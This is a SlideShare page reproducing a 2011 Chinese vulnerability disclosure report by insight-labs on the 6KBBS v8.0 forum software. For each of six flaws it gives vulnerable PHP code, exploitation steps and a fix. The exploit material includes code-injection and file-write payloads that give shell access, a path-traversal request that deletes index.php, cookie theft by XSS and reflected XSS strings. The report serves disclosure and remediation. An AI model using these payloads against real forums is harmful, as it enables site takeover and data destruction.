SlideShare a Scribd company logo
1 of 9
Download to read offline
6KBBS v8.0 build 20101201 漏洞分析报告
            www.insight-labs.org



                                   Report by insight-labs
                                      (Web Security Group)

                                         2011-09-30
目录
普通用户提权漏洞(High) ................................................................................................................................................ 1

后台 GetShell 1(High)....................................................................................................................................................... 2

后台 GetShell 2(High)....................................................................................................................................................... 3

后台任意文件删除漏洞 .................................................................................................................................................. 4

未加 HttpOnly 的 Cookie ................................................................................................................................................. 5

网站绝对路径泄露 .......................................................................................................................................................... 6

多处反射型 XSS................................................................................................................................................................ 7
一、普通用户提权漏洞(High)

<漏洞简介>
  普通用户提权漏洞,可以提升为管理员权限。

<漏洞分析>
  由于危害程度較大,細節暫不公開

<漏洞利用>
  由于危害程度較大,細節暫不公開

<漏洞修复>
  由于危害程度較大,細節暫不公開




                         1
二、后台 GetShell 1(High)

<漏洞简介>
      后台-用户-用户组管理页面 Get Shell

<漏洞分析>
      /admin/user_ajax.php?action=savegroups2


      case   "savegroups2":
try
{
          $groups = $_POST['groups'];
          if(is_array($groups))
          {
                   foreach($groups as $group)
                   {
                           $db->row_update("groups", $group, "id={$group['id']}");
                   }
          }
          $rows = $db->row_select("groups", "", 0, "groupid,groupname,popedom,starnu
m",    "groupid");
          $groups = array();
          foreach($rows as $row)
          {
                   $groups["{$row['groupid']}"] = $row;
          }
          writeGroupsCache();
          succeedFlag();
}
catch(Exception $e)
{
        echo($e);
}
break;

     更 新 信 息 以 后 , 通 过 writeGroupCache() 函 数 把 更 新 的 信 息 写 到 cachegroups.php 当 中 , 直 接 访 问
cachegroups.php 就可以得到 shell。

<漏洞利用>
      1、 登录管理后台。
      2、 进入用户-用户组-模块。
      3、 任意修改一个用户组名称为{${phpinfo()}}。
      4、 访问/cache/groups.php 即可看到 phpinfo 页面。

<漏洞修复>
      更新数据时对’,”,$符号进行转义,替换为’,”,$。

                                                2
三、后台 GetShell 2(High)

<漏洞简介>
      后台 portalchannel_ajax.php Get Shell

<漏洞分析>
      /admin/portalchannel_ajax.php?action=saverule


      case    "saverule":
try
{
             $id = trim(strFilter($_POST['id']));
             $code = stripslashes($_POST['code']);
             writeFile("collectrules/{$id}.php", $code);
             succeedRes();
}
catch(Exception $e)
{
        echo($e);
}
break;

      直接把 id 作为 php 的文件名,code 作为文件内容写入/admin/collectrules/文件夹当中。
      并且在接收数据的时候,没有验证 Referer 和 Token,可以通过 CSRF 来利用。

<漏洞利用>
      1、 登录后台或者使用 CSRF 攻击。
      2、 向/admin/portalchannel_ajax.php?action=saverule 页面 POST 数据
         id=test&code=%3C%3Fphpinfo%28%29%3F%3E
      3、访问/admin/collectrules/test.php 即可得到 shell。

<漏洞修复>
      增加 Referer 和 Token 验证,防止 CSRF 攻击。
      依据论坛需求合理设计该功能。




                                                      3
四、后台任意文件删除漏洞

<漏洞简介>
   后台任意文件删除漏洞

<漏洞分析>
   /admin/database.php
case "delete" :
$fileids = $_POST['fileids'];
var_dump($fileids);
if(!empty($fileids) && is_array($fileids))
{
        foreach($fileids as $fileid)
        {
                echo $backdir;
                if(file_exists("./{$backdir}/" . $fileid))
                {
                        @unlink("./{$backdir}/" . $fileid);
                        $msgs[] = "文件删除成功:".$fileid;
                }
        }
}
else
{
        $msgs[] = "请选择要删除的文件。";
}
show_msg($msgs);

break;



<漏洞利用>
   1、 登录后台或者使用 CSRF 攻击。
   2、 向/admin/admin.php?inc=database&action=delete 页面 POST 数据。
      fileids[]=../../../index.php
   3、index.php 被删除。

<漏洞修复>
   增加 Referer 和 Token 验证,防止 CSRF 攻击。
   对 fileids[] 变量进行过滤,替换变量中的.和,/。




                                               4
五、未加 HttpOnly 的 Cookie

<漏洞简介>
   Cookie 中存有密码,并且未加 HttpOnly

<漏洞分析>
   /login.php


setCookies('username', $row['username'], $t);
setCookies('userpass', $userpass_encrypt, $t);
setCookies('userauth', md5($row['username'].$userpass_encrypt.$cache_settings['salt'])
, $t);
setCookies('userhidden', $userhidden, $t);
setCookies('expire', $t, $t);

  cookie 中的 userpass 字段直接使用用户密码加密串来赋值,并且未加入 HttpOnly 属性。攻击者可以通过 XSS 攻
击轻松取到用户的 Cookie 和加密后的密码,由于密码为 md5 加密,所以很容易被破解。

<漏洞利用>
   1、 使用 XSS 获取其他用户 Cookie
   2、 使用在线破解网站破解用户密码,或者使用用户的 cookie 进行登录。

<漏洞修复>
   setCookies 的时候,加入 HttpOnly 属性。




                                          5
六、网站绝对路径泄露

<漏洞简介>
 爆网站绝对路径

<漏洞分析>
 /admin/portalcollect.php
 /getfiles.php?f=http://xxx&t=js

 未加入@容错,导致绝对路径泄露。

<漏洞利用>
 1、 直接访问/admin/portalcollect.php
    或者 /getfiles.php?f=http://xxx&t=js
    即可爆出绝对路径。

<漏洞修复>
 关闭 PHP 错误提示。
 在出错的函数之前加上@




                                         6
七、多处反射型 XSS

<漏洞简介>
 多处反射型 XSS

<漏洞分析>
 多处直接使用$_SERVER['PHP_SELF']变量而未进行编码,导致多处反射型 XSS 漏洞。
 credits.php/"><script>alert(1)</script>
 forum.php/"><script>alert(1)</script>
 index.php/"><script>alert(1)</script>
 login.php/"><script>alert(1)</script>
 online.php/"><script>alert(1)</script>
 …

<漏洞利用>
 1、 credits.php/"><script>恶意 JS 代码</script>
 2、 ….

<漏洞修复>
 进行转义




                                              7

More Related Content

What's hot

1.oracle 11g 用户管理新功能
1.oracle 11g 用户管理新功能1.oracle 11g 用户管理新功能
1.oracle 11g 用户管理新功能WASecurity
 
Talking about exploit writing
Talking about exploit writingTalking about exploit writing
Talking about exploit writingsbha0909
 
Zencart网站模板复制过程
Zencart网站模板复制过程Zencart网站模板复制过程
Zencart网站模板复制过程xiaochenlbm
 
Node getting-started
Node getting-startedNode getting-started
Node getting-startedlylijincheng
 
現代 IT 人一定要知道的 Ansible 自動化組態技巧 Ⅱ - Roles & Windows
現代 IT 人一定要知道的 Ansible 自動化組態技巧 Ⅱ - Roles & Windows現代 IT 人一定要知道的 Ansible 自動化組態技巧 Ⅱ - Roles & Windows
現代 IT 人一定要知道的 Ansible 自動化組態技巧 Ⅱ - Roles & WindowsChu-Siang Lai
 
Windows 10 install mysql 8.0.16
Windows 10 install mysql 8.0.16Windows 10 install mysql 8.0.16
Windows 10 install mysql 8.0.16songwenxuan2020
 
Windowsîä¼þïµí³¹ýâëçý¶¯¿ª·¢½ì³ì(µú¶þ°æ)
Windowsîä¼þïµí³¹ýâëçý¶¯¿ª·¢½ì³ì(µú¶þ°æ)Windowsîä¼þïµí³¹ýâëçý¶¯¿ª·¢½ì³ì(µú¶þ°æ)
Windowsîä¼þïµí³¹ýâëçý¶¯¿ª·¢½ì³ì(µú¶þ°æ)rvillegasg
 
高性能No sql数据库redis
高性能No sql数据库redis高性能No sql数据库redis
高性能No sql数据库redispaitoubing
 
南投替代役整理組數位典藏報告
南投替代役整理組數位典藏報告南投替代役整理組數位典藏報告
南投替代役整理組數位典藏報告Bo-Yi Wu
 
深入了解Memcache
深入了解Memcache深入了解Memcache
深入了解Memcachezubin Jiang
 
猫粮快报
猫粮快报猫粮快报
猫粮快报tbmallf2e
 
Mysql展示功能与源码对应
Mysql展示功能与源码对应Mysql展示功能与源码对应
Mysql展示功能与源码对应zhaolinjnu
 
Spring入门纲要
Spring入门纲要Spring入门纲要
Spring入门纲要yiditushe
 

What's hot (13)

1.oracle 11g 用户管理新功能
1.oracle 11g 用户管理新功能1.oracle 11g 用户管理新功能
1.oracle 11g 用户管理新功能
 
Talking about exploit writing
Talking about exploit writingTalking about exploit writing
Talking about exploit writing
 
Zencart网站模板复制过程
Zencart网站模板复制过程Zencart网站模板复制过程
Zencart网站模板复制过程
 
Node getting-started
Node getting-startedNode getting-started
Node getting-started
 
現代 IT 人一定要知道的 Ansible 自動化組態技巧 Ⅱ - Roles & Windows
現代 IT 人一定要知道的 Ansible 自動化組態技巧 Ⅱ - Roles & Windows現代 IT 人一定要知道的 Ansible 自動化組態技巧 Ⅱ - Roles & Windows
現代 IT 人一定要知道的 Ansible 自動化組態技巧 Ⅱ - Roles & Windows
 
Windows 10 install mysql 8.0.16
Windows 10 install mysql 8.0.16Windows 10 install mysql 8.0.16
Windows 10 install mysql 8.0.16
 
Windowsîä¼þïµí³¹ýâëçý¶¯¿ª·¢½ì³ì(µú¶þ°æ)
Windowsîä¼þïµí³¹ýâëçý¶¯¿ª·¢½ì³ì(µú¶þ°æ)Windowsîä¼þïµí³¹ýâëçý¶¯¿ª·¢½ì³ì(µú¶þ°æ)
Windowsîä¼þïµí³¹ýâëçý¶¯¿ª·¢½ì³ì(µú¶þ°æ)
 
高性能No sql数据库redis
高性能No sql数据库redis高性能No sql数据库redis
高性能No sql数据库redis
 
南投替代役整理組數位典藏報告
南投替代役整理組數位典藏報告南投替代役整理組數位典藏報告
南投替代役整理組數位典藏報告
 
深入了解Memcache
深入了解Memcache深入了解Memcache
深入了解Memcache
 
猫粮快报
猫粮快报猫粮快报
猫粮快报
 
Mysql展示功能与源码对应
Mysql展示功能与源码对应Mysql展示功能与源码对应
Mysql展示功能与源码对应
 
Spring入门纲要
Spring入门纲要Spring入门纲要
Spring入门纲要
 

Similar to 6kbbs vulnerability report

Liferay环境搭建
Liferay环境搭建Liferay环境搭建
Liferay环境搭建donotbeevil
 
Spring 2.x 中文
Spring 2.x 中文Spring 2.x 中文
Spring 2.x 中文Guo Albert
 
Puppet安装测试
Puppet安装测试Puppet安装测试
Puppet安装测试Yiwei Ma
 
PHP Coding Standard and 50+ Programming Skills
PHP Coding Standard and 50+ Programming SkillsPHP Coding Standard and 50+ Programming Skills
PHP Coding Standard and 50+ Programming SkillsHo Kim
 
Introduction to MVC of CodeIgniter 2.1.x
Introduction to MVC of CodeIgniter 2.1.xIntroduction to MVC of CodeIgniter 2.1.x
Introduction to MVC of CodeIgniter 2.1.xBo-Yi Wu
 
Http Headers 與 Cache 機制(2016)
Http Headers 與 Cache 機制(2016)Http Headers 與 Cache 機制(2016)
Http Headers 與 Cache 機制(2016)振揚 陳
 
Lab 1 建立 HTTP與HTTPS網站.pdf
Lab 1 建立 HTTP與HTTPS網站.pdfLab 1 建立 HTTP與HTTPS網站.pdf
Lab 1 建立 HTTP與HTTPS網站.pdfssuser9026c8
 
Hadoop 安装
Hadoop 安装Hadoop 安装
Hadoop 安装feng lee
 
Introduction to CodeIgniter
Introduction to CodeIgniterIntroduction to CodeIgniter
Introduction to CodeIgniterChun-Kai Wang
 
HTML5概览
HTML5概览HTML5概览
HTML5概览Adam Lu
 
利用Signalr打造即時通訊@Tech day geek
利用Signalr打造即時通訊@Tech day geek利用Signalr打造即時通訊@Tech day geek
利用Signalr打造即時通訊@Tech day geekJohnson Gau
 
六步教你学会简单Rmi
六步教你学会简单Rmi六步教你学会简单Rmi
六步教你学会简单Rmiyiditushe
 
PHP & MySQL 教學
PHP & MySQL 教學PHP & MySQL 教學
PHP & MySQL 教學Bo-Yi Wu
 
Web Caching Architecture and Design
Web Caching Architecture and DesignWeb Caching Architecture and Design
Web Caching Architecture and DesignHo Kim
 
Keep your code clean
Keep your code cleanKeep your code clean
Keep your code cleanmacrochen
 
Javascript之昨是今非
Javascript之昨是今非Javascript之昨是今非
Javascript之昨是今非Tony Deng
 
jQuery底层架构
jQuery底层架构jQuery底层架构
jQuery底层架构fangdeng
 
安博士Asec 2010年3月安全报告
安博士Asec 2010年3月安全报告安博士Asec 2010年3月安全报告
安博士Asec 2010年3月安全报告ahnlabchina
 
Lamp安全全攻略
Lamp安全全攻略Lamp安全全攻略
Lamp安全全攻略Da Zhao
 
Javascript autoload
Javascript autoloadJavascript autoload
Javascript autoloadjay li
 

Similar to 6kbbs vulnerability report (20)

Liferay环境搭建
Liferay环境搭建Liferay环境搭建
Liferay环境搭建
 
Spring 2.x 中文
Spring 2.x 中文Spring 2.x 中文
Spring 2.x 中文
 
Puppet安装测试
Puppet安装测试Puppet安装测试
Puppet安装测试
 
PHP Coding Standard and 50+ Programming Skills
PHP Coding Standard and 50+ Programming SkillsPHP Coding Standard and 50+ Programming Skills
PHP Coding Standard and 50+ Programming Skills
 
Introduction to MVC of CodeIgniter 2.1.x
Introduction to MVC of CodeIgniter 2.1.xIntroduction to MVC of CodeIgniter 2.1.x
Introduction to MVC of CodeIgniter 2.1.x
 
Http Headers 與 Cache 機制(2016)
Http Headers 與 Cache 機制(2016)Http Headers 與 Cache 機制(2016)
Http Headers 與 Cache 機制(2016)
 
Lab 1 建立 HTTP與HTTPS網站.pdf
Lab 1 建立 HTTP與HTTPS網站.pdfLab 1 建立 HTTP與HTTPS網站.pdf
Lab 1 建立 HTTP與HTTPS網站.pdf
 
Hadoop 安装
Hadoop 安装Hadoop 安装
Hadoop 安装
 
Introduction to CodeIgniter
Introduction to CodeIgniterIntroduction to CodeIgniter
Introduction to CodeIgniter
 
HTML5概览
HTML5概览HTML5概览
HTML5概览
 
利用Signalr打造即時通訊@Tech day geek
利用Signalr打造即時通訊@Tech day geek利用Signalr打造即時通訊@Tech day geek
利用Signalr打造即時通訊@Tech day geek
 
六步教你学会简单Rmi
六步教你学会简单Rmi六步教你学会简单Rmi
六步教你学会简单Rmi
 
PHP & MySQL 教學
PHP & MySQL 教學PHP & MySQL 教學
PHP & MySQL 教學
 
Web Caching Architecture and Design
Web Caching Architecture and DesignWeb Caching Architecture and Design
Web Caching Architecture and Design
 
Keep your code clean
Keep your code cleanKeep your code clean
Keep your code clean
 
Javascript之昨是今非
Javascript之昨是今非Javascript之昨是今非
Javascript之昨是今非
 
jQuery底层架构
jQuery底层架构jQuery底层架构
jQuery底层架构
 
安博士Asec 2010年3月安全报告
安博士Asec 2010年3月安全报告安博士Asec 2010年3月安全报告
安博士Asec 2010年3月安全报告
 
Lamp安全全攻略
Lamp安全全攻略Lamp安全全攻略
Lamp安全全攻略
 
Javascript autoload
Javascript autoloadJavascript autoload
Javascript autoload
 

6kbbs vulnerability report

  • 1. 6KBBS v8.0 build 20101201 漏洞分析报告 www.insight-labs.org Report by insight-labs (Web Security Group) 2011-09-30
  • 2. 目录 普通用户提权漏洞(High) ................................................................................................................................................ 1 后台 GetShell 1(High)....................................................................................................................................................... 2 后台 GetShell 2(High)....................................................................................................................................................... 3 后台任意文件删除漏洞 .................................................................................................................................................. 4 未加 HttpOnly 的 Cookie ................................................................................................................................................. 5 网站绝对路径泄露 .......................................................................................................................................................... 6 多处反射型 XSS................................................................................................................................................................ 7
  • 3. 一、普通用户提权漏洞(High) <漏洞简介> 普通用户提权漏洞,可以提升为管理员权限。 <漏洞分析> 由于危害程度較大,細節暫不公開 <漏洞利用> 由于危害程度較大,細節暫不公開 <漏洞修复> 由于危害程度較大,細節暫不公開 1
  • 4. 二、后台 GetShell 1(High) <漏洞简介> 后台-用户-用户组管理页面 Get Shell <漏洞分析> /admin/user_ajax.php?action=savegroups2 case "savegroups2": try { $groups = $_POST['groups']; if(is_array($groups)) { foreach($groups as $group) { $db->row_update("groups", $group, "id={$group['id']}"); } } $rows = $db->row_select("groups", "", 0, "groupid,groupname,popedom,starnu m", "groupid"); $groups = array(); foreach($rows as $row) { $groups["{$row['groupid']}"] = $row; } writeGroupsCache(); succeedFlag(); } catch(Exception $e) { echo($e); } break; 更 新 信 息 以 后 , 通 过 writeGroupCache() 函 数 把 更 新 的 信 息 写 到 cachegroups.php 当 中 , 直 接 访 问 cachegroups.php 就可以得到 shell。 <漏洞利用> 1、 登录管理后台。 2、 进入用户-用户组-模块。 3、 任意修改一个用户组名称为{${phpinfo()}}。 4、 访问/cache/groups.php 即可看到 phpinfo 页面。 <漏洞修复> 更新数据时对’,”,$符号进行转义,替换为’,”,$。 2
  • 5. 三、后台 GetShell 2(High) <漏洞简介> 后台 portalchannel_ajax.php Get Shell <漏洞分析> /admin/portalchannel_ajax.php?action=saverule case "saverule": try { $id = trim(strFilter($_POST['id'])); $code = stripslashes($_POST['code']); writeFile("collectrules/{$id}.php", $code); succeedRes(); } catch(Exception $e) { echo($e); } break; 直接把 id 作为 php 的文件名,code 作为文件内容写入/admin/collectrules/文件夹当中。 并且在接收数据的时候,没有验证 Referer 和 Token,可以通过 CSRF 来利用。 <漏洞利用> 1、 登录后台或者使用 CSRF 攻击。 2、 向/admin/portalchannel_ajax.php?action=saverule 页面 POST 数据 id=test&code=%3C%3Fphpinfo%28%29%3F%3E 3、访问/admin/collectrules/test.php 即可得到 shell。 <漏洞修复> 增加 Referer 和 Token 验证,防止 CSRF 攻击。 依据论坛需求合理设计该功能。 3
  • 6. 四、后台任意文件删除漏洞 <漏洞简介> 后台任意文件删除漏洞 <漏洞分析> /admin/database.php case "delete" : $fileids = $_POST['fileids']; var_dump($fileids); if(!empty($fileids) && is_array($fileids)) { foreach($fileids as $fileid) { echo $backdir; if(file_exists("./{$backdir}/" . $fileid)) { @unlink("./{$backdir}/" . $fileid); $msgs[] = "文件删除成功:".$fileid; } } } else { $msgs[] = "请选择要删除的文件。"; } show_msg($msgs); break; <漏洞利用> 1、 登录后台或者使用 CSRF 攻击。 2、 向/admin/admin.php?inc=database&action=delete 页面 POST 数据。 fileids[]=../../../index.php 3、index.php 被删除。 <漏洞修复> 增加 Referer 和 Token 验证,防止 CSRF 攻击。 对 fileids[] 变量进行过滤,替换变量中的.和,/。 4
  • 7. 五、未加 HttpOnly 的 Cookie <漏洞简介> Cookie 中存有密码,并且未加 HttpOnly <漏洞分析> /login.php setCookies('username', $row['username'], $t); setCookies('userpass', $userpass_encrypt, $t); setCookies('userauth', md5($row['username'].$userpass_encrypt.$cache_settings['salt']) , $t); setCookies('userhidden', $userhidden, $t); setCookies('expire', $t, $t); cookie 中的 userpass 字段直接使用用户密码加密串来赋值,并且未加入 HttpOnly 属性。攻击者可以通过 XSS 攻 击轻松取到用户的 Cookie 和加密后的密码,由于密码为 md5 加密,所以很容易被破解。 <漏洞利用> 1、 使用 XSS 获取其他用户 Cookie 2、 使用在线破解网站破解用户密码,或者使用用户的 cookie 进行登录。 <漏洞修复> setCookies 的时候,加入 HttpOnly 属性。 5
  • 8. 六、网站绝对路径泄露 <漏洞简介> 爆网站绝对路径 <漏洞分析> /admin/portalcollect.php /getfiles.php?f=http://xxx&t=js 未加入@容错,导致绝对路径泄露。 <漏洞利用> 1、 直接访问/admin/portalcollect.php 或者 /getfiles.php?f=http://xxx&t=js 即可爆出绝对路径。 <漏洞修复> 关闭 PHP 错误提示。 在出错的函数之前加上@ 6
  • 9. 七、多处反射型 XSS <漏洞简介> 多处反射型 XSS <漏洞分析> 多处直接使用$_SERVER['PHP_SELF']变量而未进行编码,导致多处反射型 XSS 漏洞。 credits.php/"><script>alert(1)</script> forum.php/"><script>alert(1)</script> index.php/"><script>alert(1)</script> login.php/"><script>alert(1)</script> online.php/"><script>alert(1)</script> … <漏洞利用> 1、 credits.php/"><script>恶意 JS 代码</script> 2、 …. <漏洞修复> 进行转义 7